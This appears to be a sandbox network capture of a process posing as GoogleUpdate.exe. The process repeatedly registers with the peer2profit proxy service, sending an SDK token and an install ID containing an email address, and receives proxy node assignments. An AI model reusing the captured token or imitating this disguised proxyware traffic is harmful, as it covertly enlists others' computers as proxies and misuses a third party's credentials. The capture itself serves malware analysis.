2022-11-24 12:28:52 UTC	23	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 31 30 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.210", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.4	49803	172.66.40.196	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-24 12:28:54 UTC	23	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-24 12:28:54 UTC	23	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-24 12:28:54 UTC	23	IN	HTTP/1.1 200 OK Date: Thu, 24 Nov 2022 12:28:54 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 76f225a63ee86928-FRA
2022-11-24 12:28:54 UTC	23	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 31 30 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.210", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.4	49806	172.66.40.196	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-24 12:28:54 UTC	24	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-24 12:28:54 UTC	24	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-24 12:28:54 UTC	24	IN	HTTP/1.1 200 OK Date: Thu, 24 Nov 2022 12:28:54 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 76f225a84d2790e8-FRA
2022-11-24 12:28:54 UTC	24	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 31 30 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.210", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.4	49810	172.66.40.196	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-24 12:28:55 UTC	24	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-24 12:28:55 UTC	24	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-24 12:28:55 UTC	25	IN	HTTP/1.1 200 OK Date: Thu, 24 Nov 2022 12:28:55 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 76f225aebfe7914d-FRA
2022-11-24 12:28:55 UTC	25	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 31 30 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.210", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.4	49813	172.66.40.196	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-24 12:28:57 UTC	25	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-24 12:28:57 UTC	25	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-24 12:28:57 UTC	25	IN	HTTP/1.1 200 OK Date: Thu, 24 Nov 2022 12:28:57 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 76f225b8cb699b37-FRA
2022-11-24 12:28:57 UTC	26	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 31 30 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.210", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.4	49817	172.66.40.196	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-24 12:28:57 UTC	26	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-24 12:28:57 UTC	26	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-24 12:28:57 UTC	26	IN	HTTP/1.1 200 OK Date: Thu, 24 Nov 2022 12:28:57 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 76f225bbfd2b9250-FRA
2022-11-24 12:28:57 UTC	26	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 31 30 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.210", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.4	49819	172.66.40.196	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-24 12:28:57 UTC	26	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-24 12:28:57 UTC	27	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-24 12:28:57 UTC	27	IN	HTTP/1.1 200 OK Date: Thu, 24 Nov 2022 12:28:57 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 76f225bdfb8cbbcb-FRA
2022-11-24 12:28:57 UTC	27	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 31 30 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.210", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.4	49716	172.66.40.196	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-24 12:28:31 UTC	2	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-24 12:28:31 UTC	2	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-24 12:28:31 UTC	3	IN	HTTP/1.1 200 OK Date: Thu, 24 Nov 2022 12:28:31 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 76f225180b939bcb-FRA
2022-11-24 12:28:31 UTC	3	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 31 30 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.210", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.4	49822	172.66.40.196	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-24 12:28:59 UTC	27	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-24 12:28:59 UTC	27	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-24 12:28:59 UTC	27	IN	HTTP/1.1 200 OK Date: Thu, 24 Nov 2022 12:28:59 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 76f225c6be6f6983-FRA
2022-11-24 12:28:59 UTC	28	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 31 30 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.210", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.4	49825	172.66.40.196	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-24 12:29:00 UTC	28	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-24 12:29:00 UTC	28	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-24 12:29:00 UTC	28	IN	HTTP/1.1 200 OK Date: Thu, 24 Nov 2022 12:29:00 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 76f225cf5c589b5e-FRA
2022-11-24 12:29:00 UTC	28	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 31 30 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.210", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.4	49828	172.66.40.196	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-24 12:29:02 UTC	28	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-24 12:29:02 UTC	29	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-24 12:29:02 UTC	29	IN	HTTP/1.1 200 OK Date: Thu, 24 Nov 2022 12:29:02 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 76f225da999691e7-FRA
2022-11-24 12:29:02 UTC	29	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 31 30 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.210", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.4	49831	172.66.40.196	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-24 12:29:02 UTC	29	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-24 12:29:02 UTC	29	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-24 12:29:02 UTC	29	IN	HTTP/1.1 200 OK Date: Thu, 24 Nov 2022 12:29:02 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 76f225dc9d029159-FRA
2022-11-24 12:29:02 UTC	30	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 31 30 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.210", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.4	49835	172.66.40.196	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-24 12:29:04 UTC	30	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
